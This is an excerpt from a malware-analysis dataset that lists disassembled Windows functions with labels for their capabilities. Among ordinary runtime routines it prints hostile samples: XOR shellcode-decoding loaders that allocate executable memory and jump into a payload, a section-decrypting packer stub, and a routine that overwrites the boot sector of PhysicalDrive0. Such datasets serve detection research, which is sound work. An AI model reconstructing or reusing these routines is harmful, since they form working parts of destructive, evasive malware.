joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004830
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [ecx]
mov edx, eax
xor edx, esi
lock cmpxchg dword [ecx], edx
jne 0x10004839
xor eax, esi
pop esi
pop ebp
ret 4

Function at 0x10004850
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [ecx]
mov edx, eax
xor edx, esi
lock cmpxchg dword [ecx], edx
jne 0x10004859
xor eax, esi
pop esi
pop ebp
ret 4

Function at 0x100055a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [ecx]
mov edx, eax
xor edx, esi
lock cmpxchg dword [ecx], edx
jne 0x100055a9
pop esi
pop ebp
ret 8

Function at 0x100055c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [ecx]
mov edx, eax
xor edx, esi
lock cmpxchg dword [ecx], edx
jne 0x100055c9
pop esi
pop ebp
ret 4

Function at 0x100055e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [ecx]
mov edx, eax
xor edx, esi
lock cmpxchg dword [ecx], edx
jne 0x100055e9
pop esi
pop ebp
ret 8

Function at 0x1000c5d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1000c5df
pop dword [ebp - 0x20]
mov eax, 0x4ca66206
add eax, 0xc35a63d9
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x7438c
push 0
mov eax, 0xd366b76e
sub eax, 0xc357862a
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x2c6deb30
sub ecx, 0x2c6d99d1
mov edi, eax
mov ebx, 0x5ff0f720
sub ebx, 0x4fd7e720
add ebx, dword [ebp - 0x20]
mov edx, 0x1a72dd24
xor dword [ebp - 0x18], 0x8d4ac3f8
mov esi, dword [ebx]
xor dword [ebp - 0x10], edx
add esi, edx
sub dword [ebp - 8], 0x7fd1063c
mov dword [edi], esi
add dword [ebp - 0x10], ebx
add edi, 0xe23acfb1
sub edi, 0xe23acfad
add ebx, 0x8a9d1a76
sub ebx, 0x8a9d1a72
loop 0x1000c638
add eax, 0x1384f
xor ebx, ebx
add ebx, eax
add eax, 0x67e7b76a
add eax, 0x9818489b
mov ecx, 0xf5e11a08
sub ecx, 0xe5e11a08
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x100186b0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x1018092c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x101837c8]
push ebx
xor ebx, ebx
mov dword [ebp - 0x60], ebx
test eax, eax
jne 0x10018788
push esi
push 0x55
pop esi
push esi
push 0x101837d0
push 0x5c
push ebx
call dword [sym.imp.kernel32.dll_GetLocaleInfoEx]
test eax, eax
jle 0x10018772
push esi
lea eax, [ebp - 0x5c]
push ebx
push eax
call fcn.100a9420
add esp, 0xc
mov eax, ebx
cmp word [eax*2 + 0x101837d0], 0x5f
mov cl, 0x2d
je 0x10018712
mov cl, byte [eax*2 + 0x101837d0]
mov byte [ebp + eax - 0x5c], cl
test cl, cl
je 0x1001871f
inc eax
cmp eax, esi
jl 0x100186fe
cmp eax, esi
push 0x41
sbb al, al
and byte [ebp - 8], al
call sym.icucnv69.dll_ubidi_getVisualMap_69
mov esi, eax
pop ecx
test esi, esi
je 0x10018772
lea eax, [ebp - 0x60]
push eax
push 0x40
lea eax, [ebp - 0x5c]
push esi
push eax
call sym.icucnv69.dll_ubidi_getVisualMap_69
add esp, 0x10
cmp dword [ebp - 0x60], ebx
jg 0x1001876b
push 0x10017f70
push 0x17
mov byte [eax + esi], bl
mov dword [0x101837c8], esi
mov byte [0x101837cc], 1
call sym.icucnv69.dll_ubidi_getVisualMap_69
pop ecx
jmp 0x10018771
push esi
call sym.icucnv69.dll_ubidi_getVisualMap_69
pop ecx
mov ecx, dword [0x101837c8]
mov eax, 0x100fef10
test ecx, ecx
pop esi
cmovne eax, ecx
mov dword [0x101837c8], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10084499
leave
ret
Function at 0x403510
Capabilities:
Encode data using add xor sub operations
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
inc eax
inc edx
add eax, 9
rcr edx, 0x58
rcl ebx, 0xb
not edi
imul esi
bswap edi
dec esi
neg esi
dec edx
sub ebx, 0x7f
or esi, 0x3e
imul eax
not edx
sbb eax, 7
rcl edi, 0xd8
dec esi
rcr edi, 0x45
not edx
bswap esi
rcl edx, 0xac
and ebx, 0x96
add edi, 0x37
mov edi, 0x11
sub edi, 9
not edi
sbb edx, 0xb
imul eax
or edi, 0x3d
not edi
and eax, 0x9b
not esi
and esi, 0xc0
and esi, 0xc7
and eax, 0x5a
and edx, 0x10
rol edx, 0xd
inc eax
ror eax, 0x63
rcr edx, 0x92
dec esi
ror edi, 6
rol edx, 0x99
or esi, 0xbd
not edi
inc edx
inc edi
rcl edx, 0xdf
mov ebx, 0x23
xor ecx, ecx
xor edi, edi
rcr eax, 0xfc
neg edx
rcr edi, 0x61
rcl edx, 0x10
rol eax, 0x3c
inc ebx
rcr edi, 0x83
imul edx
sbb edi, 0xdf
imul eax
dec esi
imul edi
sbb edi, 0x38
sub edx, 0x70
imul edx
dec edx
sbb edi, 0x89
rol eax, 0xde
rol edi, 0xf
mov edx, 0x52
bswap eax
imul eax
not edi
imul eax
bswap esi
add eax, 0xad
sub ebx, 0x65
mov edx, 0xd6
rcl edi, 0xc9
dec eax
rcl esi, 0x9e
dec esi
imul eax
or eax, 0x85
or edi, 0xd8
bswap ebx
imul eax
add edi, 0xb6
sub eax, 0x4c
inc edi
inc eax
imul esi
bswap ebx
neg edi
sub esi, 0xf5
not eax
or eax, 0xc0
and eax, 0xed
bswap ebx
and edi, 0x5d
mov ecx, dword [ebp + 0xc]
rol ebx, 0xf3
ror eax, 0x36
neg eax
or eax, 0xe2
dec eax
inc edi
sub eax, 0x73
rcl esi, 0x14
rcr edi, 0xd
or edi, 0xd5
sub esi, 0xe7
dec ebx
rol eax, 0x9b
rcr eax, 0x2d
inc ebx
bswap eax
not eax
add ebx, 0x96
not ebx
dec eax
add edx, 0x6a
imul esi
inc edx
inc edi
sub edx, 0x13
or esi, 0x55
not esi
imul edx
mov esi, 0xe9
and esi, 3
dec edi
add esi, 0x57
mov ebx, 0xa6
imul esi
dec esi
rcl edx, 0x3f
or edi, 8
ror edx, 0x25
imul edx
not ebx
add edx, 0x9e
rol eax, 0xab
neg edi
sub edi, 0xae
sub edx, 0x4b
neg esi
imul esi
rol edi, 0x46
bswap edi
ror esi, 0xe1
mov edi, dword [ebp + 8]
mov ebx, esi
xor esi, esi
xor ebx, eax
mov eax, esi
xor ebx, ebx
xor esi, esi
mov ebx, ebx
mov ebx, ebx
mov eax, esi
xor ebx, eax
mov esi, eax
mov eax, eax
not byte [edi]
xor esi, eax
xor esi, esi
mov esi, ebx
xor esi, ebx
xor esi, esi
xor eax, esi
xor ebx, eax
mov ebx, ebx
mov esi, ebx
sub byte [edi], 0x76
mov eax, ebx
xor esi, eax
xor ebx, esi
mov eax, eax
xor esi, esi
xor ebx, esi
xor esi, ebx
xor esi, ebx
mov esi, eax
add byte [edi], 0x63
mov eax, eax
mov eax, ebx
mov ebx, esi
mov ebx, eax
xor eax, ebx
mov ebx, esi
mov ebx, eax
mov esi, ebx
xor esi, ebx
imul byte [edi]
inc edi
loop 0x4036d1
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40ec8b
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40ed28
push ebx
push esi
call fcn.0040ec54
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040eb9d
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40ecd5
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40ed27
push edi
push eax
call fcn.0040d66b
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40ecf5
call fcn.0040d6b9
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40ed26
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040eb9d
add esp, 0x20
test eax, eax
jne 0x40ed14
push edi
call fcn.0040d6b9
jmp 0x40ed1c
push ebx
call fcn.0040d6b9
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40ff20
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x46e6c8
push 0x46e6c0
push str.FlsAlloc
push 0x1e
call fcn.0040fde1
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40ff54
push dword [ebp + 8]
mov ecx, esi
call dword [0x41612c]
call esi
jmp 0x40ff5a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40ff9e
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x46e6d8
push 0x46e6d0
push str.FlsGetValue
push 0x20
call fcn.0040fde1
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40ffd5
push dword [ebp + 8]
mov ecx, esi
call dword [0x41612c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x4153c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4153ed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4153ed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x408898
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42b7a4], 0
push ebp
mov ebp, esp
push esi
push ebx
mov edx, dword [ebp + 0xc]
je 0x4088b5
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
not eax
add ebx, edx
jmp 0x4088e3
xor ecx, ecx
mov eax, ecx
mov ebx, 8
mov esi, eax
and eax, 1
neg eax
shr esi, 1
and eax, 0xedb88320
xor eax, esi
dec ebx
jne 0x4088be
mov dword [ecx*4 + 0x42b7a0], eax
inc ecx
cmp ecx, 0x100
jne 0x4088b7
jmp 0x4088a9
cmp edx, ebx
je 0x4088fc
inc edx
mov cl, al
shr eax, 8
xor cl, byte [edx - 1]
movzx ecx, cl
xor eax, dword [ecx*4 + 0x42b7a0]
jmp 0x4088e3
pop ebx
not eax
pop esi
pop ebp
ret 0xc

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
pop edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x42e072
nop
nop
nop
mov ebx, 0x407ef8
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x67851b37
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e060
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
je 0x42e0d2
nop
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x4ef14fba
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x4013ca
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x40bfac], 1
mov dword [0x40bfb0], 1
mov dword [0x40bfb4], 1
mov dword [ebp - 4], 0x400000
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40140b
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40142e
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
movzx eax, ax
cmp eax, 0x10b
je 0x401450
cmp eax, 0x20b
je 0x401475
jmp 0x4014a0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x5c]
cmp eax, 0xe
ja 0x401462
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x4014a5
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x6c]
cmp eax, 0xe
ja 0x40148d
mov eax, 0
jmp 0x4014a5
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x4014a5
mov eax, 0
leave
ret

Function at 0x4016da
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
cmp dword [ebp + 8], 1
jne 0x40171f
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._MessageBoxThread_0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 4], str.new_text_layer
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_FindWindowA]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
mov dword [esp], 0xa
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
cmp dword [ebp - 0x10], 0
je 0x40171f
cmp dword [ebp - 0x10], 0
je 0x401838
mov dword [ebp - 0x38], 0x73696874
mov dword [ebp - 0x34], 0x72747320
mov dword [ebp - 0x30], 0x20676e69
mov dword [ebp - 0x2c], 0x6c6c6977
mov dword [ebp - 0x28], 0x20656220
mov dword [ebp - 0x24], 0x62726167
mov dword [ebp - 0x20], 0x20656761
mov dword [ebp - 0x1c], 0x74657270
mov dword [ebp - 0x18], 0x73207974
mov dword [ebp - 0x14], 0x6e6f6f
mov byte [ebp - 0x38], 0
mov dword [ebp - 0xc], 0
jmp 0x401805
call sym._rand
mov edx, eax
mov ecx, 0xffffffaf
mov eax, ecx
imul dl
shr ax, 8
add eax, edx
sar al, 6
mov ecx, edx
sar cl, 7
sub eax, ecx
mov ecx, 0x5e
imul eax, ecx
mov ecx, eax
mov eax, edx
sub eax, ecx
movsx eax, al
add eax, 0x21
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x38]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4070b6
lea eax, [ebp - 0x38]
mov dword [esp], eax
call sym._sprintf
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x25
jle 0x4017af
lea eax, [ebp - 0x38]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_SetWindowTextA]
call eax
sub esp, 8
mov dword [esp], 0x32
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x40175c
nop
leave
ret 4
Function at 0x402f36
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x40000000
mov dword [esp], str..PhysicalDrive0
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0xc], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x210]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0x4060a0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x210]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x200
lea eax, [ebp - 0x20c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
jmp 0x402fd3

Function at 0x404570
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._vfprintf
call sym._abort

Function at 0x405144
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x405163
mov eax, 0
jmp 0x4051a7
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x405186
mov eax, 0
jmp 0x4051a7
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x4051a2
mov eax, 0
jmp 0x4051a7
mov eax, 1
leave
ret

Function at 0x4051a9
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x405208
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x405200
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x405200
mov eax, dword [ebp - 4]
jmp 0x40521c
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x4051dd
mov eax, 0
leave
ret
Function at 0x404674
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x404683
pop dword [ebp - 0x34]
mov eax, 0x49d5c16e
sub eax, 0x49957aeb
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x503cd
push 0
mov eax, 0x4c0f0bff
add eax, 0xb435a6b1
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x25ccaa6
add ecx, 0xfda37dd6
xor edi, edi
add edi, eax
mov esi, 0x43b6ef3f
add esi, 0xbc906ec1
add esi, dword [ebp - 0x34]
mov ebx, 0x3c21377a
add ebx, 0x7065d4a6
sub dword [ebp - 0x10], 0xc9141150
mov edx, dword [esi]
add dword [ebp - 0x18], esi
add edx, ebx
sub dword [ebp - 0x28], 0xf19f525
mov dword [edi], edx
xor dword [ebp - 0x1c], 0xba2614d4
add edi, 4
add esi, 4
loop 0x4046e4
add eax, 0xbc4e44b5
sub eax, 0xbc4d2ff2
mov ebx, eax
add eax, 0x81e3c873
add eax, 0x7e1c3792
mov ecx, 0xe7306541
add ecx, 0x190f9abf
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x4400c9
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46c6d0
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x44010c
push str.SystemFunction040
push dword [0x46c6d0]
call edi
push str.SystemFunction041
push dword [0x46c6d0]
mov dword [0x46c6c0], eax
call edi
mov dword [0x46c6c4], eax
jmp 0x440111
mov eax, dword [0x46c6c4]
cmp dword [0x46c6c0], 0
je 0x440122
test eax, eax
jne 0x4401c9
push 0x46c6d4
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x4401d3
push str.CryptProtectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c0], 0
mov dword [0x46c6c8], eax
jne 0x440187
test eax, eax
jne 0x440187
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x440171
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x440178
mov esi, 0x80004005
push esi
push 0x28
push str.c:_agent_work138_s_srclibsdutilcryputil.cpp
call fcn.004038f5
jmp 0x4401d3
push str.CryptUnprotectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c4], 0
mov dword [0x46c6cc], eax
jne 0x4401c9
test eax, eax
jne 0x4401c9
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4401bd
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x4401c4
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x44017b
mov dword [0x46c6d8], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x4033c0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x46c
mov eax, dword [0x427178]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov ebx, edx
push 0x206
push eax
mov word [ebp - 0x210], ax
mov edi, ecx
lea eax, [ebp - 0x20e]
push eax
call fcn.00418440
add esp, 0xc
lea eax, [ebp - 0x210]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x4034a1
cmp eax, 0x104
ja 0x4034a1
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0x210]
push str.twain_32
push eax
call esi
test eax, eax
je 0x4034a1
push edi
lea eax, [ebp - 0x210]
push eax
call esi
test eax, eax
je 0x4034a1
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
test esi, esi
je 0x4034a1
cmp esi, 0xffffffff
je 0x4034a1
lea eax, [ebp - 0x468]
push eax
lea eax, [ebp - 0x45c]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
push ebx
lea eax, [ebp - 0x468]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040f324
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040f324
mov esp, ebp
pop ebp
ret

Function at 0x4035a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x427178]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
push 0x206
push eax
mov word [ebp - 0x20c], ax
mov ebx, ecx
lea eax, [ebp - 0x20a]
mov dword [ebp - 0x420], 0
push eax
mov dword [ebp - 0x418], 0
call fcn.00418440
push 0x206
lea eax, [ebp - 0x412]
push 0
push eax
call fcn.00418440
xor eax, eax
mov dword [ebp - 0x41c], 0
add esp, 0x14
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x20c]
mov ecx, esi
lea edx, [ebp - 0x420]
xor edi, edi
push eax
call fcn.00403050
add esp, 8
test eax, eax
je 0x4036a8
lea eax, [ebp - 0x418]
push eax
push 0x20019
push edi
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x420]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4036a8
lea eax, [ebp - 0x41c]
mov dword [ebp - 0x41c], 0x208
push eax
lea eax, [ebp - 0x414]
push eax
push edi
push edi
push 0x4238b8
push dword [ebp - 0x418]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40369c
push 0xffffffffffffffff
lea eax, [ebp - 0x414]
push eax
push 0x40
push ebx
call fcn.0040fda8
add esp, 0x10
mov edi, 1
push dword [ebp - 0x418]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040f324
mov esp, ebp
pop ebp
ret
Function at 0x403d00
Capabilities:
Check if file exists
Get file attributes
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x624
mov eax, dword [0x427178]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
mov edi, edx
push 0x206
push eax
mov word [ebp - 0x414], ax
mov esi, ecx
lea eax, [ebp - 0x412]
push eax
call fcn.00418440
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x61c], ax
lea eax, [ebp - 0x61a]
push eax
call fcn.00418440
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00418440
xor eax, eax
mov dword [ebp - 0x620], 0
push esi
mov word [edi], ax
lea eax, [ebp - 0x20c]
push 0x104
push eax
mov dword [ebp - 0x624], 0
call fcn.00410465
lea eax, [ebp - 0x20c]
xor esi, esi
push 0x104
push eax
call fcn.0040f984
add esp, 0x38
test eax, eax
je 0x403de0
push ebx
lea ebx, [esi + 0x5f]
cmp word [ebp + esi*2 - 0x20c], 0x20
jne 0x403dc6
mov word [ebp + esi*2 - 0x20c], bx
lea eax, [ebp - 0x20c]
inc esi
push 0x104
push eax
call fcn.0040f984
add esp, 8
cmp esi, eax
jb 0x403db3
pop ebx
push str.SOFTWARECanonMP_NavigatorNetDevices_
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.00410465
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.00410165
add esp, 0x18
lea eax, [ebp - 0x620]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x414]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x403eb9
lea eax, [ebp - 0x624]
mov dword [ebp - 0x624], 0x208
push eax
lea eax, [ebp - 0x61c]
push eax
push 0
push 0
push 0x423d68
push dword [ebp - 0x620]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x403e86
lea eax, [ebp - 0x61c]
push eax
push 0x104
push edi
call fcn.00410465
add esp, 0xc
mov esi, 1
jmp 0x403e88
xor esi, esi
push dword [ebp - 0x620]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x403ea7
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
pop edi
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040f324
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.0040f324
mov esp, ebp
pop ebp
ret